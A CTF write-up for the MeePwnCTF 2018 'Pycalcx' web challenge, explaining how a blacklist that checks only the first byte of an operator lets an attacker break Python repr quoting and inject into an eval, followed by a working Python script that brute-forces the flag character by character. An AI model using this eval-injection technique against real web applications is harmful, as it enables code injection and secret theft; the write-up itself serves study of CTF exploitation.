MeePwnCTF 2018 Qual Web Pycalcx Write-up

Introduction

This post is based on the write-up given by p4 team [1].

Vulnerability Analysis

The server.py is given in this challenge. For the parameter, the server script will check if those values are valid or not as below:

def get_value(val):
    val = str(val)[:64]
    if str(val).isdigit(): return int(val)
    blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
    if val == '' or [c for c in blacklist if c in val] != []:
        print('<center>Invalid value</center>')
        sys.exit(0)
    return val

def get_op(val):
    val = str(val)[:2]
    list_ops = ['+','-','/','*','=','!']
    if val == '' or val[0] not in list_ops:
        print('<center>Invalid op</center>')
        sys.exit(0)
    return val

We can find that parameter op, value1 and value2 are checked against a blacklist. op should contain 2 bytes but only the first byte is checked against the blacklist.

Then we come to the injection point of this challenge as below:

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

print('>>>> print('+escape(calc_eval)+')')

We can find that value1 and value2 are encoded by repr function here. To put it simple, an extra ‘ will be added to the string.
For example, repr(“AAAA”) = ‘AAAA’
According to [1], the techniques used here is very similar to the techniques in SQL injection. We can set the second byte in op to be ‘ to change the quotation in calc_eval

For example, if value1 = “AAAA”, op=”+'”, value2=”+BBBB#”, the formula used for evaluation will be: ‘AAAA’+”+BBBB#’.
{‘AAAA’} comes from value1, {+’} comes from op and {‘+BBBB#’} comes from value2. Since # is the comment symbol in python, the last quote will be ignored.

Another trick used in [1] is to use the value in source. During the exploitation, the value in source can still be set.
Therefore the final calc_eval used for exploitation is ‘x’+”+FLAG and FLAG>source#’

When the return value is true, the character checked in previous round is the target character.

Exploitation

import re
import string
import urllib
import requests

def exploit():
    flag = "M"
    for r in range(0, 0x30):
        prev = 0
        for i in range(0, 0x7f):
            c = chr(i)
            if c in string.printable:
                source = urllib.quote(flag + c)
                arg1 = "x";
                op = "+'";
                arg2 = "+FLAG and FLAG>source#";
                #print(repr(arg1)) + str(op) + str(repr(arg2))

                link = "http://localhost/cgi-bin/server1.py?source=%s&value1=%s&op=%s&value2=%s" % (source, urllib.quote(arg1), urllib.quote(op), urllib.quote(arg2));
                result = requests.get(link).text
                if ">>>>" in result:
                    if "False" in result:
                        flag += prev
                        print(flag)
                        break
                    else:
                        prev = c


exploit();

Conclusion

The final exploit is running on my local machine. After digging deeper in web challenges, I will give a write-up on setting environment.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.